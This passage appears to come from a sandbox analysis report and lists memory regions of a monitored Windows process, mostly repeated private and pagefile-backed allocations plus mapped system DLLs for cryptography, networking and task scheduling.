"pagefile_0x0000000000540000" filename = "" Region: id = 2663 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2664 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2665 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2666 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2667 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2668 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2669 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2670 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2671 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2672 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2673 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2674 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2675 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2676 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2677 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2678 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2679 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2680 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2681 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2682 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2683 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2684 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2685 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2686 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2687 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2688 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2689 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2690 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2691 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2692 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2693 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2694 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2695 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2696 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2697 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2698 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2699 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2700 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2701 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2702 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2703 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2704 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2705 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2706 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2707 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2708 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2709 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2710 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2711 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2712 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2713 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2714 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2715 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2716 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2717 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2718 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2719 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2720 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2721 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2722 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2723 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2724 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2725 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2726 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2727 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2728 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2729 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2730 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2731 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2732 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2733 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2734 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2735 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2736 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2737 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2738 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2739 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2740 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2741 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2742 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2743 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2744 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2745 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2746 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2747 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2748 start_va = 0x7ffa123a0000 end_va = 0x7ffa123d3fff monitored = 0 entry_point = 0x7ffa123bae70 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2749 start_va = 0x7ffa12830000 end_va = 0x7ffa1283afff monitored = 0 entry_point = 0x7ffa128319a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2750 start_va = 0x10370000 end_va = 0x103effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010370000" filename = "" Region: id = 2751 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2752 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 2753 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2754 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2755 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2756 start_va = 0x7ffa0b700000 end_va = 0x7ffa0b79bfff monitored = 0 entry_point = 0x7ffa0b7596a0 region_type = mapped_file name = "efswrt.dll" filename = "\\Windows\\System32\\efswrt.dll" (normalized: "c:\\windows\\system32\\efswrt.dll") Region: id = 2757 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 2758 start_va = 0x7ffa0fe10000 end_va = 0x7ffa0fecefff monitored = 0 entry_point = 0x7ffa0fe31c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2759 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2760 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2761 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2762 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2763 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2764 start_va = 0x7ffa0f430000 end_va = 0x7ffa0f465fff monitored = 0 entry_point = 0x7ffa0f440070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 3128 start_va = 0x2480000 end_va = 0x24a9fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cachedimage_1440_900_pos4.jpg" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg") Region: id = 3129 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3130 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 3131 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3132 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3133 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3134 start_va = 0x9870000 end_va = 0x9d61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009870000" filename = "" Region: id = 3135 start_va = 0x7ffa0b300000 end_va = 0x7ffa0b314fff monitored = 0 entry_point = 0x7ffa0b302dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 3136 start_va = 0x7ff9fe2a0000 end_va = 0x7ff9fe31ffff monitored = 0 entry_point = 0x7ff9fe2cd280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 3137 start_va = 0x7ffa12660000 end_va = 0x7ffa126bbfff monitored = 0 entry_point = 0x7ffa12676f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3138 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 3139 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 3140 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3141 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3142 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 3143 start_va = 0x7ffa0b7a0000 end_va = 0x7ffa0b7aafff monitored = 0 entry_point = 0x7ffa0b7a1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 3144 start_va = 0x7ffa0ac50000 end_va = 0x7ffa0ac59fff monitored = 0 entry_point = 0x7ffa0ac514c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 3145 start_va = 0x7ffa0b640000 end_va = 0x7ffa0b6a6fff monitored = 0 entry_point = 0x7ffa0b6463e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 3146 start_va = 0x540000 end_va = 0x542fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mswsock.dll.mui" filename = "\\Windows\\System32\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\mswsock.dll.mui") Region: id = 3147 start_va = 0x1e50000 end_va = 0x1e59fff monitored = 0 entry_point = 0x1e515c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll") Region: id = 3148 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui") Region: id = 3149 start_va = 0x1ea0000 end_va = 0x1eaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 3150 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3151 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 3152 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 3153 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 3154 start_va = 0x1e50000 end_va = 0x1e59fff monitored = 0 entry_point = 0x1e515c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll") Region: id = 3155 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui") Region: id = 3156 start_va = 0x1e50000 end_va = 0x1e59fff monitored = 0 entry_point = 0x1e515c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll") Region: id = 3157 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui") Region: id = 3158 start_va = 0x1e50000 end_va = 0x1e59fff monitored = 0 entry_point = 0x1e515c0 region_type = mapped_file name = "wshqos.dll" filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll") Region: id = 3159 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wshqos.dll.mui" filename = "\\Windows\\System32\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wshqos.dll.mui") Region: id = 3160 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 3161 start_va = 0x1e50000 end_va = 0x1e6bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 3162 start_va = 0x1ea0000 end_va = 0x1eaefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 3163 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 3164 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 3165 start_va = 0x1e60000 end_va = 0x1e60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 3166 start_va = 0x8a70000 end_va = 0x8b69fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000008a70000" filename = "" Region: id = 3168 start_va = 0x1e50000 end_va = 0x1e5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e50000" filename = "" Region: id = 3169 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3170 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 3171 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 3172 start_va = 0x1e50000 end_va = 0x1e5efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 3173 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 3174 start_va = 0x7ffa122e0000 end_va = 0x7ffa12359fff monitored = 0 entry_point = 0x7ffa12301a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 3175 start_va = 0x1e50000 end_va = 0x1e51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001e50000" filename = "" Region: id = 3176 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3177 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3178 start_va = 0x24a0000 end_va = 0x24aefff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024a0000" filename = "" Region: id = 3179 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3180 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3181 start_va = 0x7ffa01690000 end_va = 0x7ffa016a3fff monitored = 0 entry_point = 0x7ffa01693710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 3182 start_va = 0x7ffa12900000 end_va = 0x7ffa12926fff monitored = 0 entry_point = 0x7ffa12910aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 3183 start_va = 0x7ffa128c0000 end_va = 0x7ffa128f9fff monitored = 0 entry_point = 0x7ffa128c8d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 3184 start_va = 0x7ffa01740000 end_va = 0x7ffa0175dfff monitored = 0 entry_point = 0x7ffa0174ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 3185 start_va = 0x2490000 end_va = 0x2499fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "crypt32.dll.mui" filename = "\\Windows\\System32\\en-US\\crypt32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\crypt32.dll.mui") Region: id = 3186 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3187 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3188 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3189 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3190 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3191 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3192 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3193 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3194 start_va = 0x8a70000 end_va = 0x8b6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008a70000" filename = "" Region: id = 3195 start_va = 0x2480000 end_va = 0x248ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3196 start_va = 0x24a0000 end_va = 0x24bbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3197 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3198 start_va = 0x2480000 end_va = 0x248efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002480000" filename = "" Region: id = 3199 start_va = 0x9d70000 end_va = 0x9f6ffff monitored = 1 entry_point = 0x0 